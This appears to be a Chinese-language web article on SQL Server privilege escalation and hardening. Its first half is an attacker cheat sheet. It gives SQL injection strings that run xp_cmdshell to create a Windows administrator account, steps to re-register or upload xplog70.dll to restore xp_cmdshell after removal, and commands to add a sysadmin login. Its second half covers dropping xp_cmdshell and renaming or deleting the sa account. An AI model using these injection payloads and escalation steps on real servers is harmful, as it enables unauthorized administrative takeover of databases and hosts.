SQL Server 提升權限相關命令及防范
;exec master..xp_cmdshell "net user name passWord /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--
程序代碼開啟cmdshell的SQL語句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
恢復xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
否則上傳xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
DOS:
dir c:/
dir d:/
dir e:/
net user TsInternetUsers PassWord /add
net localGroup Administrators TsInternetUsers /add
備份恢復IPSEC
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/Windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,PassWord
exec master..sp_addsrvrolemember UserName,sysadmin
sa帳號的改名和刪除
首先打開SQL中的企業管理器,接著在工具選項卡中選擇SQL server配置屬性依次,點服務器設置,看到允許對系統目錄直接進行修改前面的方框嗎,點一下,好。
再打開查詢分析器,登陸進去(呵呵,隨便你用什麼帳號進去,不過可一定要在master數據庫中有db_owner的權限)輸入
update sysxlogins set name='你要改成的名字' where sid=0x01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name='你要改成的名字'
OK,執行成功,好拉,轉道企業管理器中刷新安全性中的登陸,看看,sa是不是變成xwq拉,呵呵,選中xwq點擊右鍵,怎麼樣是不是出現拉刪除的選項,呵呵,刪除。看看sa是不是已經沒有拉。
[NextPage]
直接在查詢分析器裡怎麼刪除sa
直接在查詢分析器裡怎麼刪除sa,做法和前面所說的差不多,只不過這次不是在企業管理器中做手腳拉,而是利用sql提供給我們功能強大的存儲過程來完成這項任務。下面就是我所說的需要利用的存儲過程sp_configure,sp_configure顯示或更改當前服務器的全局配置設置。
它的語法:
sp_configure [ [ @configname = ] 'name' ]
[ , [ @configvalue = ] 'value' ]
實例:
sp_configure 'allow updates', 1
go
RECONFIGURE WITH OVERRIDE
go
好拉,這樣我們就可以更新系統表拉,接下來和前面的做法一樣拉 update sysxlogins set name='你要改成的名字' where sid=0x01,然後再刪除"你改名後的那個名字"
不過要注意在 sp_configure 上沒有參數(或只有第一個參數)的執行許可權限默認授予所有用戶。有兩個參數的 sp_configure(用於更改配置選項)的執行許可權限默認授予 sysadmin 和 serveradmin 固定服務器角色。RECONFIGURE 權限默認授予 sysadmin 固定服務器角色和 serveradmin 固定服務器角色,並且不能傳輸。還得在master中是db_owner。